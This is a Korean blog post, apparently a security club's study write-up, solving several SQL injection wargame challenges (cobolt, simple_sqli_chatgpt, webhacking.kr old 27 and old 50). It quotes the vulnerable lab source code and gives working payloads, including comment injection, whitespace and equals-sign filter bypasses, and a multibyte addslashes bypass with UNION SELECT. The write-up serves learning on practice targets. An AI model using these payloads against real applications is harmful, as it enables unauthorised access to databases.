SWING WEB 4주차(2)

2. 라이트업 

COBOLT

?id=admin뒤를 주석처리

위 쿼리문을 입력하면 $result[’id’] == ‘admin’의 조건문을 충족시키고 (solve ‘cobolt’)

뒤에 pw부분은 주석처리 되어서 알 필요가 없다

?id=admin —%20

왜 안 풀리나 했더니 따옴표를 닫아주지 않았다

?id=admin%27—%20으로 입력


simple_sqli_chatgpt

 

/ : 초기 사이트

/login : 로그인 화면

 

userlevel을 get함

userid는 admin이고, userlevel은 0일 때 플래그 출력

 

query_db 함수

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

db에서 query를 실행하고 조건에 따라 rv 반환

 

login창에 userlevel을 0으로 하면 query_db에 one=True이기 때문에 앞에 있는 guest로 로그인이 됨

들어갈 쿼리문은 다음과 같음

f"select * from users where userlevel='{userlevel}'"

0’ and userid=’admin

 

…자꾸 안되길래 다른 라업을 참고했더니 연산자를 잘못 기입했다

0’ and userid==’admin


old 27 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

‘id’가 ‘admin’이면 풀리는 문제이다.

‘no’부분을 입력받는다

그냥 no값에 아무값이나 넣어주고 or id=’admin’처리하면 될 거 같다

실행되는 문장

"select id from chall27 where id='guest' and no=({$_GET['no']})"

 

삽입할 쿼리문

‘2’) or id=’admin’%23

no hack이라 뜬다

등호도 필터링일 줄 몰랐다…

 

등호는 like나 in으로 우회

공백은 ‘+’로 대체

 

0+or+id+like+admin

안되길래 조금 더 우회해보다가 라업을 봤더니

일단 소괄호는 변수처리가 안되기 때문에 닫고 뒤에 남은 괄호를 주석처리를 해줘야 했다

그리고 ‘+’도 공백 우회로 알고 있는데 왜때문인지 자꾸 no hack이라고 떠서

%09로 수정했다

처음 접근은 아무값 넣기+id 검색이었는데

라업을 참고해서 아무값 넣기+no=2로 수정했다

 

0)%09or%09no%09like%092--%09


old 50

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

‘lv’가 3이면 풀리는 문제

 

id 입력 → addslashes → euc-kr에서 utf-8로 인코딩

pw 입력 → addslashes

*addslashes: 특수문자 앞에 백슬래시 추가

 

뭔가 pw로 하면 인젝션 할 수 있을 거 같은데 필터링이 존재한다

필터링하는 항목들

id는 추가적으로 union 문자열이 있는지 검사함

 

일단 id=guest pw=guest는 lv=1

id에 guest 넣고 OR로 lv=3+주석처리문, pw에는 아무값이나 입력하면 되지 않을까…

 

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

입력할 쿼리문

?id=abcd’ or lv=3 #&pw=guest

 

addslashes 우회를 찾아보니 euc-kr에서 utf-8 인코딩도 같은 방법으로 우회한다고 한다

멀티바이트: 백슬래시 앞에 %a1~%ff가 들어가면 한 문자로 취급

?id=ab%cd’ or lv like 3 # &pw=guest

 

…안 풀려서 라업 참고했다

id와 pw 모두 활용해야 하는 문제였다

id에 아무값+주석 열고

pw에 주석 닫고+union select 3+주석처리

 

*UNION SELECT

union: 합집합 연산자(결과 다 보여줌), 이 과정에서 중복 제거

(select문1) UNION (select문2)

1,2 과정에서 나온 결과에서 중복은 제거하고 모두 출력

 

입력할 쿼리문

?id=ab%cd’/&pw=/ union select 3 —

필터링 우회 처리 

?id=ab%cd%27%2F%2A&pw=%2A%2F%09union%09select%093%2D%2D%09

%cd%27 → 멀티바이트를 이용해서 addslashes, utf-8 인코딩 우회

공백 대신 %09 사용

'SWING > web hacking' 카테고리의 다른 글

SWING WEB 결석분 문서화  (0) 2023.11.14
SWING WEB 4주차(1)  (0) 2023.11.12
SWING WEB 3주차(2)  (0) 2023.09.26
SWING WEB 3주차(1)  (0) 2023.09.25
SWING WEB 2주차(2)  (0) 2023.09.19